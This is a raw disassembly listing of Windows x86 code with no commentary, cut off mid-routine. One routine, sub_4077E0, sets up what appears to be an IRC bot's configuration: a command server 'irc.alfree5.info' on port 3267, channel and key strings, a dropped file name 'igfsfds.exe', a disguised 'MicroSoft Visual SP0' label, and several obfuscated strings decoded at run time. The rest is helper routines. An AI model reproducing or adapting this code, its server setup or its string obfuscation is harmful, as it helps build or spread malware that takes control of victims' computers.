sub_407080	proc near		; CODE XREF: sub_4020BDj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407080
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_40156E
sub_407080	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43F00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407100	proc near		; CODE XREF: sub_40159Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_4015E1
		mov	edx, [esp+4+arg_0]
		mov	ecx, [esp+4+arg_8]
		lea	eax, [esp+4+arg_0]
		mov	[edx+2Ah], ecx
		push	eax
		lea	ecx, [esi+32h]
		call	sub_4014EC
sub_407100	endp

; ---------------------------------------------------------------------------
		pop	esi
		retn	0Ch
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407140	proc near		; CODE XREF: sub_401B04j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_401AD7
		add	esi, 32h
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_40162C
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jz	short loc_4071BB
		mov	edi, [esp+10h+arg_0]


loc_407183:				; CODE XREF: sub_407140+79j
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401749
		mov	ecx, [eax]
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_4071C5
		call	sub_401F28
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_4021DF
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40184D
		test	al, al
		jnz	short loc_407183


loc_4071BB:				; CODE XREF: sub_407140+3Dj
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_4071C5:				; CODE XREF: sub_407140+5Aj
		call	sub_401749
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_407140	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407210	proc near		; CODE XREF: sub_40221Bj
		xor	al, al
		retn	4
sub_407210	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407230	proc near		; CODE XREF: sub_40156Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_40119F
sub_407230	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407270	proc near		; CODE XREF: sub_40162Cj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_4021A8
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_407270	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4072B0	proc near		; CODE XREF: sub_4021DFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_4072B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4072E0	proc near		; CODE XREF: sub_4014ECj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4021DF
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4013B6
sub_4072E0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407320	proc near		; CODE XREF: sub_401AD7j
		push	esi
		mov	esi, ecx
		call	sub_401B77
		mov	eax, esi
		pop	esi
		retn
sub_407320	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407340	proc near		; CODE XREF: sub_401749j
		mov	eax, [ecx]
		push	eax
		call	sub_401208
		add	esp, 4
		retn
sub_407340	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407360	proc near		; CODE XREF: sub_401F28j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_401A96
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_407360	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407390	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401FBE
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_407390	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4073C0	proc near		; CODE XREF: sub_4013B6j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C9E
		mov	edi, eax
		push	edi
		call	sub_401C6C
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40119F
sub_4073C0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401C6C
		push	edi
		mov	[eax], ebx
		call	sub_401C6C
		mov	edi, [eax]
		push	edi
		call	sub_401C6C
		mov	ecx, [eax]
		push	ecx
		call	sub_401A96
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401208
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_40167C
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_4021A8
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407460	proc near		; CODE XREF: sub_40119Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4019D8
sub_407460	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_407475
		mov	edi, esi


loc_407475:				; CODE XREF: ___:00407471j
		push	esi
		call	sub_401A96
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40748A
		mov	edi, esi


loc_40748A:				; CODE XREF: ___:00407486j
		push	esi
		call	sub_401C6C
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074B0	proc near		; CODE XREF: sub_401A96j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_4074B0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074D0	proc near		; CODE XREF: sub_401208j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_4074D0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4074F0	proc near		; CODE XREF: sub_401B77j
		mov	eax, ecx
		retn
sub_4074F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407510	proc near		; CODE XREF: sub_4021A8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4011E5
		mov	eax, esi
		pop	esi
		retn	4
sub_407510	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407540	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_407540	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407570	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_407570	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407590	proc near		; CODE XREF: sub_4019D8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_407590	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075C0	proc near		; CODE XREF: sub_40167Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40109B
		add	esp, 8
		retn	8
sub_4075C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4075F0	proc near		; CODE XREF: sub_4011E5j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4075F0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407610	proc near		; CODE XREF: sub_401C9Ej
		mov	eax, [ecx]
		retn
sub_407610	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407630	proc near		; CODE XREF: sub_401D2Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40763A
		xor	eax, eax


loc_40763A:				; CODE XREF: sub_407630+6j
		push	eax
		call	sub_437AEA
sub_407630	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407660	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40767B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40767B:				; CODE XREF: sub_407660+11j
		retn
sub_407660	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_407690	proc near		; CODE XREF: sub_4011CCj

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		retn
sub_407690	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4076B0	proc near		; CODE XREF: sub_401B40j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_4076B0
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_4]
		mov	[esp+1Ch+var_4], 0
		call	sub_4017EE
		push	eax
		mov	eax, [esp+20h+arg_0]
		push	0
		push	eax
		mov	ecx, offset word_44ACD6
		call	sub_401B72
sub_4076B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407740	proc near		; CODE XREF: sub_401CD5j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_407740
		push	eax
		mov	large fs:0, esp
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [esp+1Ch+arg_1C]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+20h+arg_4]
		call	sub_4017EE
		push	eax
		mov	eax, [esp+24h+arg_0]
		push	eax
		mov	ecx, offset word_44ACD6
		call	sub_401B72
sub_407740	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+8], 0
		call	sub_401226
		lea	ecx, [esp+2Ch]
		mov	dword ptr [esp+8], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0]
		mov	large fs:0, ecx
		add	esp, 0Ch
		retn	34h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4077E0	proc near		; CODE XREF: sub_40121Cj

var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_330		= byte ptr -330h
var_318		= byte ptr -318h
var_2F4		= byte ptr -2F4h
var_2DC		= byte ptr -2DCh
var_2C4		= byte ptr -2C4h
var_2AC		= byte ptr -2ACh
var_294		= byte ptr -294h
var_27C		= byte ptr -27Ch
var_264		= byte ptr -264h
var_24C		= byte ptr -24Ch
var_234		= byte ptr -234h
var_21C		= byte ptr -21Ch
var_204		= byte ptr -204h
var_1EC		= byte ptr -1ECh
var_1D4		= byte ptr -1D4h
var_1BC		= byte ptr -1BCh
var_1A4		= byte ptr -1A4h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_15C		= byte ptr -15Ch
var_144		= byte ptr -144h
var_114		= byte ptr -114h
var_E4		= byte ptr -0E4h
var_CC		= byte ptr -0CCh
var_B4		= byte ptr -0B4h
var_9C		= byte ptr -9Ch
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4077E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 344h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+35Ch+var_2C4]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2DC]
		mov	[esp+35Ch+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_174]
		mov	byte ptr [esp+35Ch+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1A4]
		mov	byte ptr [esp+35Ch+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2AC]
		mov	byte ptr [esp+35Ch+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_2F4]
		mov	byte ptr [esp+35Ch+var_4], 4
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1D4]
		mov	byte ptr [esp+35Ch+var_4], 5
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_204]
		mov	byte ptr [esp+35Ch+var_4], 6
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_294]
		mov	byte ptr [esp+35Ch+var_4], 7
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24]
		mov	byte ptr [esp+35Ch+var_4], 8
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_54]
		mov	byte ptr [esp+35Ch+var_4], 9
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_84]
		mov	byte ptr [esp+35Ch+var_4], 0Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_3C]
		mov	byte ptr [esp+35Ch+var_4], 0Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_6C]
		mov	byte ptr [esp+35Ch+var_4], 0Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_234]
		mov	byte ptr [esp+35Ch+var_4], 0Dh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_264]
		mov	byte ptr [esp+35Ch+var_4], 0Eh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_E4]
		mov	byte ptr [esp+35Ch+var_4], 0Fh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_15C]
		mov	byte ptr [esp+35Ch+var_4], 10h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_114]
		mov	byte ptr [esp+35Ch+var_4], 11h
		call	sub_40142E
		mov	byte ptr [esp+35Ch+var_4], 12h
		lea	ecx, [esp+35Ch+var_18C]
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_144]
		mov	byte ptr [esp+35Ch+var_4], 13h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1BC]
		mov	byte ptr [esp+35Ch+var_4], 14h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_27C]
		mov	byte ptr [esp+35Ch+var_4], 15h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_1EC]
		mov	byte ptr [esp+35Ch+var_4], 16h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_CC]
		mov	byte ptr [esp+35Ch+var_4], 17h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_21C]
		mov	byte ptr [esp+35Ch+var_4], 18h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_B4]
		mov	byte ptr [esp+35Ch+var_4], 19h
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_9C]
		mov	byte ptr [esp+35Ch+var_4], 1Ah
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_24C]
		mov	byte ptr [esp+35Ch+var_4], 1Bh
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_330]
		mov	byte ptr [esp+35Ch+var_4], 1Ch
		call	sub_40142E
		lea	ecx, [esp+35Ch+var_318]
		mov	byte ptr [esp+35Ch+var_4], 1Dh
		call	sub_40142E
		mov	ebx, 1Eh
		push	offset aIrc_alfree5_in ; "irc.alfree5.info"
		lea	ecx, [esp+360h+var_2C4]
		mov	byte ptr [esp+360h+var_4], bl
		call	sub_401A9B
		push	offset a3267	; "3267"
		lea	ecx, [esp+360h+var_2DC]
		call	sub_401A9B
		push	offset byte_448F30
		lea	ecx, [esp+360h+var_144]
		call	sub_401A9B
		lea	eax, [esp+35Ch+var_2C4]
		lea	ecx, [esp+35Ch+var_174]
		push	eax
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_2DC]
		push	ecx
		lea	ecx, [esp+360h+var_1A4]
		call	sub_40202C
		push	offset byte_448F30
		lea	ecx, [esp+360h+var_1BC]
		call	sub_401A9B
		push	offset aFor_0	; "##for##"
		lea	ecx, [esp+360h+var_2AC]
		call	sub_401A9B
		push	offset aFor	; "##for"
		lea	ecx, [esp+360h+var_24C]
		call	sub_401A9B
		push	offset aXkey	; "Xkey"
		lea	ecx, [esp+360h+var_2F4]
		call	sub_401A9B
		push	offset aIgfsfds_exe ; "igfsfds.exe"
		lea	ecx, [esp+360h+var_1D4]
		call	sub_401A9B
		push	offset aAysklfsdsdsfss ; "aysklfsdsdsfssas"
		lea	ecx, [esp+360h+var_204]
		call	sub_401A9B
		push	offset asc_444834 ; "X-"
		lea	ecx, [esp+360h+var_294]
		call	sub_401A9B
		push	offset aSet	; "set"
		lea	ecx, [esp+360h+var_234]
		call	sub_401A9B
		push	0
		push	4Ah
		push	20h
		push	48h
		push	1Ch
		push	4Bh
		push	46h
		push	4Ah
		push	46h
		push	47h
		push	4Ch
		push	1Fh
		push	48h
		push	1Fh
		push	ebx
		push	1Bh
		push	1Dh
		push	47h
		push	4Bh
		push	47h
		push	ebx
		push	45h
		push	46h
		push	4Ah
		push	48h
		push	ebx
		push	1Dh
		push	1Ch
		push	4Ah
		push	20h
		push	4Ch
		push	4Dh
		lea	edx, [esp+3DCh+var_348]
		push	44h
		push	edx
		call	sub_4019C4
		add	esp, 88h
		push	eax
		lea	ecx, [esp+360h+var_264]
		mov	byte ptr [esp+360h+var_4], 1Fh
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	offset aFeeling_nasty ;	"feeling.nasty"
		lea	ecx, [esp+360h+var_E4]
		call	sub_401A9B
		push	offset aEvil	; "evil"
		lea	ecx, [esp+360h+var_15C]
		call	sub_401A9B
		push	offset aMicrosoftVisua ; "MicroSoft Visual SP0"
		lea	ecx, [esp+360h+var_114]
		call	sub_401A9B
		push	offset dword_4447F8
		lea	ecx, [esp+360h+var_27C]
		call	sub_401A9B
		push	0
		push	4Bh
		push	48h
		push	4Ah
		push	47h
		push	4Ch
		push	48h
		push	4Bh
		push	48h
		push	45h
		lea	eax, [esp+384h+var_348]
		push	46h
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	eax
		lea	ecx, [esp+360h+var_18C]
		mov	byte ptr [esp+360h+var_4], 20h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	0Dh
		push	0Fh
		push	3
		push	4Fh
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	0Dh
		push	4Fh
		push	46h
		push	19h
		push	14h
		push	0Fh
		push	2
		push	12h
		lea	ecx, [esp+3B0h+var_348]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 5Ch
		push	eax
		lea	ecx, [esp+360h+var_1EC]
		mov	byte ptr [esp+360h+var_4], 21h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_CC]
		mov	byte ptr [esp+360h+var_4], 22h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	eax, [esp+36Ch+var_348]
		push	45h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_B4]
		mov	byte ptr [esp+360h+var_4], 23h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	44h
		push	49h
		lea	ecx, [esp+368h+var_348]
		push	46h
		push	ecx
		call	sub_4019C4
		add	esp, 14h
		push	eax
		lea	ecx, [esp+360h+var_21C]
		mov	byte ptr [esp+360h+var_4], 24h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	48h
		push	46h
		push	44h
		lea	edx, [esp+36Ch+var_348]
		push	45h
		push	edx
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_9C]
		mov	byte ptr [esp+360h+var_4], 25h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	15h
		push	12h
		lea	eax, [esp+36Ch+var_348]
		push	14h
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	eax
		lea	ecx, [esp+360h+var_330]
		mov	byte ptr [esp+360h+var_4], 26h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		push	0
		push	5
		push	13h
		push	0Ch
		push	1
		lea	ecx, [esp+370h+var_348]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	eax
		lea	ecx, [esp+360h+var_318]
		mov	byte ptr [esp+360h+var_4], 27h
		call	sub_40202C
		lea	ecx, [esp+35Ch+var_348]
		mov	byte ptr [esp+35Ch+var_4], bl
		call	sub_401226
		lea	ecx, [esp+35Ch+var_2F4]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+374h+var_34C], esp
		push	eax
		call	sub_401870
		push	0
		push	13h
		push	13h
		push	1
		push	10h
		push	0Eh
		push	1
		push	8
		push	3
		mov	byte ptr [esp+398h+var_4], 28h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	edx, [esp+3D0h+var_348]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+374h+var_4], 29h
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+38Ch+var_350], esp
		push	eax
		call	sub_401870
		lea	eax, [esi+0FECh]
		mov	ecx, esi
		push	eax
		mov	byte ptr [esp+390h+var_4], 2Ah
		call	sub_401CD5
sub_4077E0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+0B0h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	0Eh
		push	1
		push	8
		push	3
		push	0Eh
		push	9
		push	1
		push	0Dh
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	ecx, [esp+88h]
		push	13h
		push	ecx
		mov	byte ptr [esp+3D4h], 2Bh
		call	sub_4019C4
		add	esp, 64h
		mov	ecx, eax
		mov	byte ptr [esp+370h], 2Ch
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h], esp
		push	eax
		call	sub_401870
		lea	edx, [esi+1035h]
		mov	ecx, esi
		push	edx
		mov	byte ptr [esp+38Ch], 2Dh
		call	sub_401CD5
; ---------------------------------------------------------------------------
		lea	ecx, [esp+14h]
		mov	[esp+358h], bl
		call	sub_401226
		lea	ecx, [esp+80h]
		call	sub_4017EE
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+24h], esp
		push	eax
		call	sub_401870
		push	0
		push	14h
		push	12h
		push	0Fh
		push	10h
		push	4Eh
		push	14h
		push	0Fh
		push	0Fh
		push	12h
		push	3Fh
		push	12h
		push	5
		push	16h
		push	12h
		push	5
		push	13h
		push	3Fh
		push	9
		lea	eax, [esp+78h]
		push	13h
		push	eax
		mov	byte ptr [esp+3C4h], 2Eh
		call	sub_4019C4
		add	esp, 54h
		mov	ecx, eax
